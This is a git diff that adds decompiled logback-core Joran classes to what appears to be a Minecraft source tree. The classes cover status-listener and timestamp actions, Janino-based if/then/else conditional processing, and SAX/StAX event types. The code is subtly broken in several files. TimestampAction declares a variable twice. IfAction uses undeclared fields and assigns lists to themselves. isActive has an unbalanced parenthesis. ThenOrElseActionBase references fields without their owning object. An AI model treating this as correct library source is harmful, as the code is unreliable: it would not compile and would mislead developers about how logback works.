+import ch.qos.logback.core.spi.LifeCycle;
+import ch.qos.logback.core.status.StatusListener;
+import ch.qos.logback.core.status.StatusManager;
+import ch.qos.logback.core.util.OptionHelper;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+public class StatusListenerAction
+  extends Action
+{
+  public StatusListenerAction() {}
+  
+  boolean inError = false;
+  StatusListener statusListener = null;
+  
+  public void begin(InterpretationContext ec, String name, Attributes attributes) throws ActionException {
+    inError = false;
+    String className = attributes.getValue("class");
+    if (OptionHelper.isEmpty(className)) {
+      addError("Missing class name for statusListener. Near [" + name + "] line " + getLineNumber(ec));
+      
+      inError = true;
+      return;
+    }
+    try
+    {
+      statusListener = ((StatusListener)OptionHelper.instantiateByClassName(className, StatusListener.class, context));
+      
+      ec.getContext().getStatusManager().add(statusListener);
+      if ((statusListener instanceof ContextAware)) {
+        ((ContextAware)statusListener).setContext(context);
+      }
+      addInfo("Added status listener of type [" + className + "]");
+      ec.pushObject(statusListener);
+    } catch (Exception e) {
+      inError = true;
+      addError("Could not create an StatusListener of type [" + className + "].", e);
+      
+      throw new ActionException(e);
+    }
+  }
+  
+
+  public void finish(InterpretationContext ec) {}
+  
+  public void end(InterpretationContext ec, String e)
+  {
+    if (inError) {
+      return;
+    }
+    if ((statusListener instanceof LifeCycle)) {
+      ((LifeCycle)statusListener).start();
+    }
+    Object o = ec.peekObject();
+    if (o != statusListener) {
+      addWarn("The object at the of the stack is not the statusListener pushed earlier.");
+    } else {
+      ec.popObject();
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/action/TimestampAction.java b/src/minecraft/ch/qos/logback/core/joran/action/TimestampAction.java
new file mode 100644
index 0000000..752158a
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/action/TimestampAction.java
@@ -0,0 +1,82 @@
+package ch.qos.logback.core.joran.action;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.joran.spi.ActionException;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.util.CachingDateFormatter;
+import ch.qos.logback.core.util.OptionHelper;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TimestampAction
+  extends Action
+{
+  static String DATE_PATTERN_ATTRIBUTE = "datePattern";
+  static String TIME_REFERENCE_ATTRIBUTE = "timeReference";
+  static String CONTEXT_BIRTH = "contextBirth";
+  
+  boolean inError = false;
+  
+  public TimestampAction() {}
+  
+  public void begin(InterpretationContext ec, String name, Attributes attributes) throws ActionException {
+    String keyStr = attributes.getValue("key");
+    if (OptionHelper.isEmpty(keyStr)) {
+      addError("Attribute named [key] cannot be empty");
+      inError = true;
+    }
+    String datePatternStr = attributes.getValue(DATE_PATTERN_ATTRIBUTE);
+    if (OptionHelper.isEmpty(datePatternStr)) {
+      addError("Attribute named [" + DATE_PATTERN_ATTRIBUTE + "] cannot be empty");
+      
+      inError = true;
+    }
+    
+    String timeReferenceStr = attributes.getValue(TIME_REFERENCE_ATTRIBUTE);
+    long timeReference;
+    long timeReference; if (CONTEXT_BIRTH.equalsIgnoreCase(timeReferenceStr)) {
+      addInfo("Using context birth as time reference.");
+      timeReference = context.getBirthTime();
+    } else {
+      timeReference = System.currentTimeMillis();
+      addInfo("Using current interpretation time, i.e. now, as time reference.");
+    }
+    
+
+    if (inError) {
+      return;
+    }
+    String scopeStr = attributes.getValue("scope");
+    ActionUtil.Scope scope = ActionUtil.stringToScope(scopeStr);
+    
+    CachingDateFormatter sdf = new CachingDateFormatter(datePatternStr);
+    String val = sdf.format(timeReference);
+    
+    addInfo("Adding property to the context with key=\"" + keyStr + "\" and value=\"" + val + "\" to the " + scope + " scope");
+    
+    ActionUtil.setProperty(ec, keyStr, val, scope);
+  }
+  
+  public void end(InterpretationContext ec, String name)
+    throws ActionException
+  {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/conditional/Condition.java b/src/minecraft/ch/qos/logback/core/joran/conditional/Condition.java
new file mode 100644
index 0000000..2b712fb
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/conditional/Condition.java
@@ -0,0 +1,6 @@
+package ch.qos.logback.core.joran.conditional;
+
+public abstract interface Condition
+{
+  public abstract boolean evaluate();
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/conditional/ElseAction.java b/src/minecraft/ch/qos/logback/core/joran/conditional/ElseAction.java
new file mode 100644
index 0000000..b68b4f5
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/conditional/ElseAction.java
@@ -0,0 +1,26 @@
+package ch.qos.logback.core.joran.conditional;
+
+import ch.qos.logback.core.joran.event.SaxEvent;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+public class ElseAction
+  extends ThenOrElseActionBase
+{
+  public ElseAction() {}
+  
+  void registerEventList(IfAction ifAction, List<SaxEvent> eventList)
+  {
+    ifAction.setElseSaxEventList(eventList);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/conditional/IfAction.java b/src/minecraft/ch/qos/logback/core/joran/conditional/IfAction.java
new file mode 100644
index 0000000..9e535a5
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/conditional/IfAction.java
@@ -0,0 +1,148 @@
+package ch.qos.logback.core.joran.conditional;
+
+import ch.qos.logback.core.joran.action.Action;
+import ch.qos.logback.core.joran.event.SaxEvent;
+import ch.qos.logback.core.joran.spi.ActionException;
+import ch.qos.logback.core.joran.spi.EventPlayer;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.joran.spi.Interpreter;
+import ch.qos.logback.core.util.EnvUtil;
+import ch.qos.logback.core.util.OptionHelper;
+import java.util.List;
+import java.util.Stack;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class IfAction
+  extends Action
+{
+  private static final String CONDITION_ATTR = "condition";
+  public static final String MISSING_JANINO_MSG = "Could not find Janino library on the class path. Skipping conditional processing.";
+  public static final String MISSING_JANINO_SEE = "See also http://logback.qos.ch/codes.html#ifJanino";
+  Stack<IfState> stack = new Stack();
+  
+  public IfAction() {}
+  
+  public void begin(InterpretationContext ic, String name, Attributes attributes) throws ActionException
+  {
+    IfState state = new IfState();
+    boolean emptyStack = stack.isEmpty();
+    stack.push(state);
+    
+    if (!emptyStack) {
+      return;
+    }
+    
+    ic.pushObject(this);
+    if (!EnvUtil.isJaninoAvailable()) {
+      addError("Could not find Janino library on the class path. Skipping conditional processing.");
+      addError("See also http://logback.qos.ch/codes.html#ifJanino");
+      return;
+    }
+    
+    active = true;
+    Condition condition = null;
+    String conditionAttribute = attributes.getValue("condition");
+    
+
+    if (!OptionHelper.isEmpty(conditionAttribute)) {
+      conditionAttribute = OptionHelper.substVars(conditionAttribute, ic, context);
+      PropertyEvalScriptBuilder pesb = new PropertyEvalScriptBuilder(ic);
+      pesb.setContext(context);
+      try {
+        condition = pesb.build(conditionAttribute);
+      } catch (Exception e) {
+        addError("Failed to parse condition [" + conditionAttribute + "]", e);
+      }
+      
+      if (condition != null) {
+        boolResult = Boolean.valueOf(condition.evaluate());
+      }
+    }
+  }
+  
+
+
+  public void end(InterpretationContext ic, String name)
+    throws ActionException
+  {
+    IfState state = (IfState)stack.pop();
+    if (!active) {
+      return;
+    }
+    
+
+    Object o = ic.peekObject();
+    if (o == null) {
+      throw new IllegalStateException("Unexpected null object on stack");
+    }
+    if (!(o instanceof IfAction)) {
+      throw new IllegalStateException("Unexpected object of type [" + o.getClass() + "] on stack");
+    }
+    
+
+    if (o != this) {
+      throw new IllegalStateException("IfAction different then current one on stack");
+    }
+    
+    ic.popObject();
+    
+    if (boolResult == null) {
+      addError("Failed to determine \"if then else\" result");
+      return;
+    }
+    
+    Interpreter interpreter = ic.getJoranInterpreter();
+    List<SaxEvent> listToPlay = thenSaxEventList;
+    if (!boolResult.booleanValue()) {
+      listToPlay = elseSaxEventList;
+    }
+    
+
+    if (listToPlay != null)
+    {
+      interpreter.getEventPlayer().addEventsDynamically(listToPlay, 1);
+    }
+  }
+  
+
+  public void setThenSaxEventList(List<SaxEvent> thenSaxEventList)
+  {
+    IfState state = (IfState)stack.firstElement();
+    if (active) {
+      thenSaxEventList = thenSaxEventList;
+    } else {
+      throw new IllegalStateException("setThenSaxEventList() invoked on inactive IfAction");
+    }
+  }
+  
+  public void setElseSaxEventList(List<SaxEvent> elseSaxEventList) {
+    IfState state = (IfState)stack.firstElement();
+    if (active) {
+      elseSaxEventList = elseSaxEventList;
+    } else {
+      throw new IllegalStateException("setElseSaxEventList() invoked on inactive IfAction");
+    }
+  }
+  
+  public boolean isActive()
+  {
+    if (stack == null) return false;
+    if (stack.isEmpty()) return false;
+    return stack.peek()).active;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/conditional/IfState.java b/src/minecraft/ch/qos/logback/core/joran/conditional/IfState.java
new file mode 100644
index 0000000..99e9393
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/conditional/IfState.java
@@ -0,0 +1,14 @@
+package ch.qos.logback.core.joran.conditional;
+
+import ch.qos.logback.core.joran.event.SaxEvent;
+import java.util.List;
+
+class IfState
+{
+  Boolean boolResult;
+  List<SaxEvent> thenSaxEventList;
+  List<SaxEvent> elseSaxEventList;
+  boolean active;
+  
+  IfState() {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/conditional/PropertyEvalScriptBuilder.java b/src/minecraft/ch/qos/logback/core/joran/conditional/PropertyEvalScriptBuilder.java
new file mode 100644
index 0000000..75e1ba3
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/conditional/PropertyEvalScriptBuilder.java
@@ -0,0 +1,60 @@
+package ch.qos.logback.core.joran.conditional;
+
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.spi.PropertyContainer;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.HashMap;
+import java.util.Map;
+import org.codehaus.commons.compiler.CompileException;
+import org.codehaus.janino.ClassBodyEvaluator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class PropertyEvalScriptBuilder
+  extends ContextAwareBase
+{
+  private static String SCRIPT_PREFIX = "public boolean evaluate() { return ";
+  
+  private static String SCRIPT_SUFFIX = "; }";
+  final PropertyContainer localPropContainer;
+  
+  PropertyEvalScriptBuilder(PropertyContainer localPropContainer)
+  {
+    this.localPropContainer = localPropContainer;
+  }
+  
+  Map<String, String> map = new HashMap();
+  
+
+
+
+  public Condition build(String script)
+    throws IllegalAccessException, CompileException, InstantiationException, SecurityException, NoSuchMethodException, IllegalArgumentException, InvocationTargetException
+  {
+    ClassBodyEvaluator cbe = new ClassBodyEvaluator();
+    cbe.setImplementedInterfaces(new Class[] { Condition.class });
+    cbe.setExtendedClass(PropertyWrapperForScripts.class);
+    cbe.setParentClassLoader(ClassBodyEvaluator.class.getClassLoader());
+    cbe.cook(SCRIPT_PREFIX + script + SCRIPT_SUFFIX);
+    
+    Class<?> clazz = cbe.getClazz();
+    Condition instance = (Condition)clazz.newInstance();
+    Method setMapMethod = clazz.getMethod("setPropertyContainers", new Class[] { PropertyContainer.class, PropertyContainer.class });
+    setMapMethod.invoke(instance, new Object[] { localPropContainer, context });
+    
+    return instance;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/conditional/PropertyWrapperForScripts.java b/src/minecraft/ch/qos/logback/core/joran/conditional/PropertyWrapperForScripts.java
new file mode 100644
index 0000000..811a030
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/conditional/PropertyWrapperForScripts.java
@@ -0,0 +1,51 @@
+package ch.qos.logback.core.joran.conditional;
+
+import ch.qos.logback.core.spi.PropertyContainer;
+import ch.qos.logback.core.util.OptionHelper;
+
+
+
+
+
+
+
+
+
+
+
+
+public class PropertyWrapperForScripts
+{
+  PropertyContainer local;
+  PropertyContainer context;
+  
+  public PropertyWrapperForScripts() {}
+  
+  public void setPropertyContainers(PropertyContainer local, PropertyContainer context)
+  {
+    this.local = local;
+    this.context = context;
+  }
+  
+  public boolean isNull(String k) {
+    String val = OptionHelper.propertyLookup(k, local, context);
+    return val == null;
+  }
+  
+  public boolean isDefined(String k) {
+    String val = OptionHelper.propertyLookup(k, local, context);
+    return val != null;
+  }
+  
+  public String p(String k) {
+    return property(k);
+  }
+  
+  public String property(String k) {
+    String val = OptionHelper.propertyLookup(k, local, context);
+    if (val != null) {
+      return val;
+    }
+    return "";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/conditional/ThenAction.java b/src/minecraft/ch/qos/logback/core/joran/conditional/ThenAction.java
new file mode 100644
index 0000000..08471e5
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/conditional/ThenAction.java
@@ -0,0 +1,26 @@
+package ch.qos.logback.core.joran.conditional;
+
+import ch.qos.logback.core.joran.event.SaxEvent;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+public class ThenAction
+  extends ThenOrElseActionBase
+{
+  public ThenAction() {}
+  
+  void registerEventList(IfAction ifAction, List<SaxEvent> eventList)
+  {
+    ifAction.setThenSaxEventList(eventList);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/conditional/ThenActionState.java b/src/minecraft/ch/qos/logback/core/joran/conditional/ThenActionState.java
new file mode 100644
index 0000000..0964c30
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/conditional/ThenActionState.java
@@ -0,0 +1,88 @@
+package ch.qos.logback.core.joran.conditional;
+
+import ch.qos.logback.core.joran.event.InPlayListener;
+import ch.qos.logback.core.joran.event.SaxEvent;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class ThenActionState
+  implements InPlayListener
+{
+  ThenActionState() {}
+  
+  List<SaxEvent> eventList = new ArrayList();
+  boolean isRegistered = false;
+  
+  public void inPlay(SaxEvent event) {
+    eventList.add(event);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/conditional/ThenOrElseActionBase.java b/src/minecraft/ch/qos/logback/core/joran/conditional/ThenOrElseActionBase.java
new file mode 100644
index 0000000..da4887b
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/conditional/ThenOrElseActionBase.java
@@ -0,0 +1,77 @@
+package ch.qos.logback.core.joran.conditional;
+
+import ch.qos.logback.core.joran.action.Action;
+import ch.qos.logback.core.joran.event.SaxEvent;
+import ch.qos.logback.core.joran.spi.ActionException;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import java.util.List;
+import java.util.Stack;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ThenOrElseActionBase
+  extends Action
+{
+  Stack<ThenActionState> stateStack = new Stack();
+  
+  public ThenOrElseActionBase() {}
+  
+  public void begin(InterpretationContext ic, String name, Attributes attributes) throws ActionException
+  {
+    if (!weAreActive(ic)) { return;
+    }
+    ThenActionState state = new ThenActionState();
+    if (ic.isListenerListEmpty()) {
+      ic.addInPlayListener(state);
+      isRegistered = true;
+    }
+    stateStack.push(state);
+  }
+  
+  boolean weAreActive(InterpretationContext ic) {
+    Object o = ic.peekObject();
+    if (!(o instanceof IfAction)) return false;
+    IfAction ifAction = (IfAction)o;
+    return ifAction.isActive();
+  }
+  
+  public void end(InterpretationContext ic, String name) throws ActionException
+  {
+    if (!weAreActive(ic)) { return;
+    }
+    ThenActionState state = (ThenActionState)stateStack.pop();
+    if (isRegistered) {
+      ic.removeInPlayListener(state);
+      Object o = ic.peekObject();
+      if ((o instanceof IfAction)) {
+        IfAction ifAction = (IfAction)o;
+        removeFirstAndLastFromList(eventList);
+        registerEventList(ifAction, eventList);
+      } else {
+        throw new IllegalStateException("Missing IfAction on top of stack");
+      }
+    }
+  }
+  
+  abstract void registerEventList(IfAction paramIfAction, List<SaxEvent> paramList);
+  
+  void removeFirstAndLastFromList(List<SaxEvent> eventList) {
+    eventList.remove(0);
+    eventList.remove(eventList.size() - 1);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/event/BodyEvent.java b/src/minecraft/ch/qos/logback/core/joran/event/BodyEvent.java
new file mode 100644
index 0000000..a640a9d
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/event/BodyEvent.java
@@ -0,0 +1,49 @@
+package ch.qos.logback.core.joran.event;
+
+import org.xml.sax.Locator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class BodyEvent
+  extends SaxEvent
+{
+  private String text;
+  
+  BodyEvent(String text, Locator locator)
+  {
+    super(null, null, null, locator);
+    this.text = text;
+  }
+  
+
+
+
+
+  public String getText()
+  {
+    if (text != null) {
+      return text.trim();
+    }
+    return text;
+  }
+  
+  public String toString()
+  {
+    return "BodyEvent(" + getText() + ")" + locator.getLineNumber() + "," + locator.getColumnNumber();
+  }
+  
+  public void append(String str)
+  {
+    text += str;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/event/EndEvent.java b/src/minecraft/ch/qos/logback/core/joran/event/EndEvent.java
new file mode 100644
index 0000000..6ef9da1
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/event/EndEvent.java
@@ -0,0 +1,29 @@
+package ch.qos.logback.core.joran.event;
+
+import org.xml.sax.Locator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class EndEvent
+  extends SaxEvent
+{
+  EndEvent(String namespaceURI, String localName, String qName, Locator locator)
+  {
+    super(namespaceURI, localName, qName, locator);
+  }
+  
+  public String toString()
+  {
+    return "  EndEvent(" + getQName() + ")  [" + locator.getLineNumber() + "," + locator.getColumnNumber() + "]";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/event/InPlayListener.java b/src/minecraft/ch/qos/logback/core/joran/event/InPlayListener.java
new file mode 100644
index 0000000..4762af1
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/event/InPlayListener.java
@@ -0,0 +1,6 @@
+package ch.qos.logback.core.joran.event;
+
+public abstract interface InPlayListener
+{
+  public abstract void inPlay(SaxEvent paramSaxEvent);
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/event/SaxEvent.java b/src/minecraft/ch/qos/logback/core/joran/event/SaxEvent.java
new file mode 100644
index 0000000..9e98d6e
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/event/SaxEvent.java
@@ -0,0 +1,49 @@
+package ch.qos.logback.core.joran.event;
+
+import org.xml.sax.Locator;
+import org.xml.sax.helpers.LocatorImpl;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SaxEvent
+{
+  public final String namespaceURI;
+  public final String localName;
+  public final String qName;
+  public final Locator locator;
+  
+  SaxEvent(String namespaceURI, String localName, String qName, Locator locator)
+  {
+    this.namespaceURI = namespaceURI;
+    this.localName = localName;
+    this.qName = qName;
+    
+    this.locator = new LocatorImpl(locator);
+  }
+  
+  public String getLocalName() {
+    return localName;
+  }
+  
+  public Locator getLocator() {
+    return locator;
+  }
+  
+  public String getNamespaceURI() {
+    return namespaceURI;
+  }
+  
+  public String getQName() {
+    return qName;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/event/SaxEventRecorder.java b/src/minecraft/ch/qos/logback/core/joran/event/SaxEventRecorder.java
new file mode 100644
index 0000000..8d91858
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/event/SaxEventRecorder.java
@@ -0,0 +1,208 @@
+package ch.qos.logback.core.joran.event;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.joran.spi.ElementPath;
+import ch.qos.logback.core.joran.spi.JoranException;
+import ch.qos.logback.core.spi.ContextAware;
+import ch.qos.logback.core.spi.ContextAwareImpl;
+import ch.qos.logback.core.status.Status;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.List;
+import javax.xml.parsers.SAXParser;
+import javax.xml.parsers.SAXParserFactory;
+import org.xml.sax.Attributes;
+import org.xml.sax.InputSource;
+import org.xml.sax.Locator;
+import org.xml.sax.SAXException;
+import org.xml.sax.SAXParseException;
+import org.xml.sax.helpers.DefaultHandler;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SaxEventRecorder
+  extends DefaultHandler
+  implements ContextAware
+{
+  final ContextAwareImpl cai;
+  
+  public SaxEventRecorder(Context context)
+  {
+    cai = new ContextAwareImpl(context, this);
+  }
+  
+  public List<SaxEvent> saxEventList = new ArrayList();
+  Locator locator;
+  ElementPath globalElementPath = new ElementPath();
+  
+  public final void recordEvents(InputStream inputStream) throws JoranException {
+    recordEvents(new InputSource(inputStream));
+  }
+  
+  public List<SaxEvent> recordEvents(InputSource inputSource) throws JoranException
+  {
+    SAXParser saxParser = buildSaxParser();
+    try {
+      saxParser.parse(inputSource, this);
+      return saxEventList;
+    } catch (IOException ie) {
+      handleError("I/O error occurred while parsing xml file", ie);
+    }
+    catch (SAXException se) {
+      throw new JoranException("Problem parsing XML document. See previously reported errors.", se);
+    } catch (Exception ex) {
+      handleError("Unexpected exception while parsing XML document.", ex);
+    }
+    throw new IllegalStateException("This point can never be reached");
+  }
+  
+  private void handleError(String errMsg, Throwable t) throws JoranException {
+    addError(errMsg, t);
+    throw new JoranException(errMsg, t);
+  }
+  
+  private SAXParser buildSaxParser() throws JoranException {
+    try {
+      SAXParserFactory spf = SAXParserFactory.newInstance();
+      spf.setValidating(false);
+      spf.setNamespaceAware(true);
+      return spf.newSAXParser();
+    } catch (Exception pce) {
+      String errMsg = "Parser configuration error occurred";
+      addError(errMsg, pce);
+      throw new JoranException(errMsg, pce);
+    }
+  }
+  
+  public void startDocument() {}
+  
+  public Locator getLocator()
+  {
+    return locator;
+  }
+  
+  public void setDocumentLocator(Locator l) {
+    locator = l;
+  }
+  
+
+  public void startElement(String namespaceURI, String localName, String qName, Attributes atts)
+  {
+    String tagName = getTagName(localName, qName);
+    globalElementPath.push(tagName);
+    ElementPath current = globalElementPath.duplicate();
+    saxEventList.add(new StartEvent(current, namespaceURI, localName, qName, atts, getLocator()));
+  }
+  
+  public void characters(char[] ch, int start, int length)
+  {
+    String bodyStr = new String(ch, start, length);
+    SaxEvent lastEvent = getLastEvent();
+    if ((lastEvent instanceof BodyEvent)) {
+      BodyEvent be = (BodyEvent)lastEvent;
+      be.append(bodyStr);
+
+    }
+    else if (!isSpaceOnly(bodyStr)) {
+      saxEventList.add(new BodyEvent(bodyStr, getLocator()));
+    }
+  }
+  
+  boolean isSpaceOnly(String bodyStr)
+  {
+    String bodyTrimmed = bodyStr.trim();
+    return bodyTrimmed.length() == 0;
+  }
+  
+  SaxEvent getLastEvent() {
+    if (saxEventList.isEmpty()) {
+      return null;
+    }
+    int size = saxEventList.size();
+    return (SaxEvent)saxEventList.get(size - 1);
+  }
+  
+  public void endElement(String namespaceURI, String localName, String qName) {
+    saxEventList.add(new EndEvent(namespaceURI, localName, qName, getLocator()));
+    
+    globalElementPath.pop();
+  }
+  
+  String getTagName(String localName, String qName) {
+    String tagName = localName;
+    if ((tagName == null) || (tagName.length() < 1)) {
+      tagName = qName;
+    }
+    return tagName;
+  }
+  
+  public void error(SAXParseException spe) throws SAXException {
+    addError("XML_PARSING - Parsing error on line " + spe.getLineNumber() + " and column " + spe.getColumnNumber(), spe);
+  }
+  
+  public void fatalError(SAXParseException spe) throws SAXException
+  {
+    addError("XML_PARSING - Parsing fatal error on line " + spe.getLineNumber() + " and column " + spe.getColumnNumber(), spe);
+  }
+  
+  public void warning(SAXParseException spe) throws SAXException
+  {
+    addWarn("XML_PARSING - Parsing warning on line " + spe.getLineNumber() + " and column " + spe.getColumnNumber(), spe);
+  }
+  
+  public void addError(String msg)
+  {
+    cai.addError(msg);
+  }
+  
+  public void addError(String msg, Throwable ex) {
+    cai.addError(msg, ex);
+  }
+  
+  public void addInfo(String msg) {
+    cai.addInfo(msg);
+  }
+  
+  public void addInfo(String msg, Throwable ex) {
+    cai.addInfo(msg, ex);
+  }
+  
+  public void addStatus(Status status) {
+    cai.addStatus(status);
+  }
+  
+  public void addWarn(String msg) {
+    cai.addWarn(msg);
+  }
+  
+  public void addWarn(String msg, Throwable ex) {
+    cai.addWarn(msg, ex);
+  }
+  
+  public Context getContext() {
+    return cai.getContext();
+  }
+  
+  public void setContext(Context context) {
+    cai.setContext(context);
+  }
+  
+  public List<SaxEvent> getSaxEventList() {
+    return saxEventList;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/event/StartEvent.java b/src/minecraft/ch/qos/logback/core/joran/event/StartEvent.java
new file mode 100644
index 0000000..0bf0d10
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/event/StartEvent.java
@@ -0,0 +1,43 @@
+package ch.qos.logback.core.joran.event;
+
+import ch.qos.logback.core.joran.spi.ElementPath;
+import org.xml.sax.Attributes;
+import org.xml.sax.Locator;
+import org.xml.sax.helpers.AttributesImpl;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class StartEvent
+  extends SaxEvent
+{
+  public final Attributes attributes;
+  public final ElementPath elementPath;
+  
+  StartEvent(ElementPath elementPath, String namespaceURI, String localName, String qName, Attributes attributes, Locator locator)
+  {
+    super(namespaceURI, localName, qName, locator);
+    
+    this.attributes = new AttributesImpl(attributes);
+    this.elementPath = elementPath;
+  }
+  
+  public Attributes getAttributes() {
+    return attributes;
+  }
+  
+
+  public String toString()
+  {
+    return "StartEvent(" + getQName() + ")  [" + locator.getLineNumber() + "," + locator.getColumnNumber() + "]";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/event/stax/BodyEvent.java b/src/minecraft/ch/qos/logback/core/joran/event/stax/BodyEvent.java
new file mode 100644
index 0000000..cb9dcf3
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/event/stax/BodyEvent.java
@@ -0,0 +1,40 @@
+package ch.qos.logback.core.joran.event.stax;
+
+import javax.xml.stream.Location;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class BodyEvent
+  extends StaxEvent
+{
+  private String text;
+  
+  BodyEvent(String text, Location location)
+  {
+    super(null, location);
+    this.text = text;
+  }
+  
+  public String getText() {
+    return text;
+  }
+  
+  void append(String txt) {
+    text += txt;
+  }
+  
+  public String toString()
+  {
+    return "BodyEvent(" + getText() + ")" + location.getLineNumber() + "," + location.getColumnNumber();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/event/stax/EndEvent.java b/src/minecraft/ch/qos/logback/core/joran/event/stax/EndEvent.java
new file mode 100644
index 0000000..019d11c
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/event/stax/EndEvent.java
@@ -0,0 +1,35 @@
+package ch.qos.logback.core.joran.event.stax;
+
+import javax.xml.stream.Location;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class EndEvent
+  extends StaxEvent
+{
+  public EndEvent(String name, Location location)
+  {
+    super(name, location);
+  }
+  
+  public String toString()
+  {
+    return "EndEvent(" + getName() + ")  [" + location.getLineNumber() + "," + location.getColumnNumber() + "]";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/event/stax/StartEvent.java b/src/minecraft/ch/qos/logback/core/joran/event/stax/StartEvent.java
new file mode 100644
index 0000000..297918d
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/event/stax/StartEvent.java
@@ -0,0 +1,67 @@
+package ch.qos.logback.core.joran.event.stax;
+
+import ch.qos.logback.core.joran.spi.ElementPath;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import javax.xml.namespace.QName;
+import javax.xml.stream.Location;
+import javax.xml.stream.events.Attribute;
+
+
+
+
+
+
+
+
+
+
+
+
+public class StartEvent
+  extends StaxEvent
+{
+  List<Attribute> attributes;
+  public ElementPath elementPath;
+  
+  StartEvent(ElementPath elementPath, String name, Iterator<Attribute> attributeIterator, Location location)
+  {
+    super(name, location);
+    populateAttributes(attributeIterator);
+    this.elementPath = elementPath;
+  }
+  
+  private void populateAttributes(Iterator<Attribute> attributeIterator) {
+    while (attributeIterator.hasNext()) {
+      if (attributes == null) {
+        attributes = new ArrayList(2);
+      }
+      attributes.add(attributeIterator.next());
+    }
+  }
+  
+  public ElementPath getElementPath() {
+    return elementPath;
+  }
+  
+  public List<Attribute> getAttributeList() {
+    return attributes;
+  }
+  
+  Attribute getAttributeByName(String name) {
+    if (attributes == null) {
+      return null;
+    }
+    for (Attribute attr : attributes) {
+      if (name.equals(attr.getName().getLocalPart()))
+        return attr;
+    }
+    return null;
+  }
+  
+  public String toString()
+  {
+    return "StartEvent(" + getName() + ")  [" + location.getLineNumber() + "," + location.getColumnNumber() + "]";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/event/stax/StaxEvent.java b/src/minecraft/ch/qos/logback/core/joran/event/stax/StaxEvent.java
new file mode 100644
index 0000000..7f0fb3a
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/event/stax/StaxEvent.java
@@ -0,0 +1,37 @@
+package ch.qos.logback.core.joran.event.stax;
+
+import javax.xml.stream.Location;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class StaxEvent
+{
+  final String name;
+  final Location location;
+  
+  StaxEvent(String name, Location location)
+  {
+    this.name = name;
+    this.location = location;
+  }
+  
+  public String getName()
+  {
+    return name;
+  }
+  
+  public Location getLocation() {
+    return location;
+  }
+}
